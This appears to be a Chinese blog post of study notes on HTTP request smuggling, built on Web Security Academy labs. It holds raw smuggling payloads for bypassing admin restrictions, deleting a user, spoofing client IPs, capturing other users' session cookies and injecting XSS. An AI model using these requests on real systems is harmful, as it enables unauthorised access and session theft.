HTTP request smuggling_其它

技術標籤：web漏洞 http 安全

原文連結 : https://lonmar.cn/2021/01/31/HTTP%20request%20smuggling/

title: 淺談Http請求走私
date: 2021-01-41 12:45:44
tags:

http
web安全
Http請求走私

文章目錄

0x 01 知識背景

HTTP中存在一個重要概念是 Persistent Connection (持久連線)

HTTP/1.0 的持久連線通過Connection: keep-alive實現

HTTP/1.1 則規定所有連線都必須是持久的，除非顯式地在頭部加上 Connection: close

在這篇文章裡面可以瞭解到:對於持久連線,一個傳輸實體必須有一個結束標誌.並且存在兩種HTTP請求結束的標誌: Content-Length和Transfer-Encoding

Content-Length:直接給出了實體長度

HTTP/1.1 200 OK\r\n
Content-Length: 12\r\n
\r\n
hello world!

Transfer-Encoding:實體進行分塊編碼

每個分塊包含十六進位制的長度值和資料，長度值獨佔一行(長度不包括 CRLF(\r\n))

長度都是以位元組為單位計算的

最後一個分塊長度值必須為 0，對應的分塊資料沒有內容，表示實體結束

HTTP/1.1 200 OK\r\n
Transfer-Encoding: chunked\r\n
\r\n
b\r\n
01234567890\r\n
5\r\n
12345\r\n
0\r\n
\r\n

這兩種方式的區別可參考 https://blog.csdn.net/u014569188/article/details/78912469

還有一個 Content-Encoding的東西經常和 Transfer-Encoding結合使用,具體可以參考上面那篇文章

為了緩解源站的壓力，一般會在使用者和後端伺服器（源站）之間加設前置伺服器，用以快取、簡單校驗、負載均衡等，而前置伺服器與後端伺服器往往是在可靠的網路域中，IP 也是相對固定的，所以可以重用 TCP 連線來減少頻繁 TCP 握手帶來的開銷 .

在使用者和資源伺服器之間還可能存在專用的防火牆伺服器等.

0x 02 HTTP請求走私

由於HTTP規範提供了兩種不同的方法來指定HTTP訊息的長度，因此單個訊息可能會同時使用這兩種方法,雖然HTTP規範中指出,如果 Content-Length和Transfer-Encoding頭同時存在 ,content-length頭則會被忽略,但是兩個伺服器之間可能有一個不支援Transfer-Encoding或者攻擊者對TE進行了混淆,導致兩個server之間的標準不一樣,從而產生請求走私漏洞.

具體的三種情況:

CL.TE: 前置伺服器認為 Content-Length 優先順序更高（或者根本就不支援 Transfer-Encoding ），後端認為 Transfer-Encoding 優先順序更高
TE-CL：前置伺服器認為 Transfer-Encoding 優先順序更高，後端認為 Content-Length 優先順序更高（或者不支援 Transfer-Encoding ）
TE-TE：前置和後端伺服器都支援 Transfer-Encoding，但可以通過混淆讓它們在處理時產生分歧

CL-TE

發出兩次下面的請求,可觀察到伺服器返回的error資訊 "Unrecognized method GPOST"

HTTP request smuggling

前置伺服器根據content-length把下面的實體資料全部發送了

這裡長度計算不包括第一個\r\n,這是請求頭和請求體之間的邊界

然後後端伺服器根據Transfer-Encoding,將0\r\n\r\n視為一個塊結束的標誌.G滯留在緩衝區.

然後再次發起請求的時候滯留的G和新的塊拼接在了一起 ,就變成了GPOST\r\nHOST:...

TE-CL

連續傳送下面的請求

HTTP request smuggling

前置伺服器根據Transfer-Encoding判斷請求邊界,將整個請求體傳送給後端伺服器

然後後端伺服器根據Content-Length: 4只對5c\r\n進行了處理,後面的部分滯留在緩衝區

然後再次傳送請求,就會出現"Unrecognized method GPOST"的錯誤

TE-TE

對TE進行一些混淆

HTTP request smuggling

兩個伺服器對存在兩個Transfer-Encoding時的處理存在不一致,一個傾向Transfer-encoding,一個傾向 Transfer-Encoding

還有別的混淆如:

Transfer-Encoding: xchunked

Transfer-Encoding[空格]: chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[空格]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

0x03探測

延時

一般是返回500

探測CL-TE

前置伺服器傳送全部資料到後端,後端伺服器沒有接收到0\r\n\r\n而等待

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X

探測TE-CL

前置伺服器只發送5位元組,後端伺服器等待第六個位元組

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n

根據不同的響應

CL-TE

POST /search HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 49\r\n
Transfer-Encoding: chunked\r\n
\r\n
e\r\n
q=smuggling&x=\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Foo: x

偽造的相應:返回error

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

TE-CL

POST /search HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
7c\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 144\r\n
\r\n
x=\r\n
0\r\n
\r\n

或者下面這個,利用的時候不用再計算長度了

POST / HTTP/1.1
Host: ac991ff81e1155588027028a00a60085.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

0x 04利用

bypass防火牆安全控制

針對CL-TE

POST / HTTP/1.1
Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

特權操作

POST / HTTP/1.1
Host: acfe1fd11efd558780340c0d009d003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

TE-CL

POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
0

POST / HTTP/1.1
Host: ace51f0c1e67808d804d707500860021.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

bypass ip等限制

請求頭中的一些限制因素

Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-aEWnFO-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Client-ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

POST / HTTP/1.1
Host: acf01fc11f920726807703ef005a003a.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
X-aEWnFO-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

x=1

竊取資訊

可以捕獲別人的請求(cookie,session等)

利用條件比較苛刻,可參考 https://xz.aliyun.com/t/7501#toc-9

首先可以擷取一個傳送評論的包

POST /post/comment HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj

csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=1&comment=test&name=1&email=1111%401111.com&website=http%3A%2F%2Fwww.baidu.com%2F

然後構造下面的資料

POST / HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac771fff1e7151cd80977b71000800a1.web-security-academy.net
Content-Length: 665
Content-Type: application/x-www-form-urlencoded
Cookie: session=m5fcVJxX7Eqcdq0sE5eccIv4GTQdZILj

csrf=w7zSB0ypijpVohxpxKcMmKnWQMYNlmrw&postId=3&name=p&email=a%40q.cc&website=http%3A%2F%2Fa.cc&comment=a

然後可以在評論區看到一些別人的cookie資訊(也可能是自己的=.=)

HTTP request smuggling

xss

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

Others

太懶了…,後面遇到再來做這幾個實驗

將 on-site 重定向變為開放式重定向
快取投毒
快取欺騙

0x 05 總結

粗略的學習一下

CTF中利用可以利用的應該有bypass,和xss. (這兩天某比賽就遇到了一個bypass.

參考 https://xz.aliyun.com/t/7501

HTTP request smuggling

文章目錄

0x 01 知識背景

0x 02 HTTP請求走私

CL-TE

TE-CL

TE-TE

0x03探測

延時

根據不同的響應

0x 04利用

bypass防火牆安全控制

bypass ip等限制

竊取資訊

xss

Others

0x 05 總結

相關推薦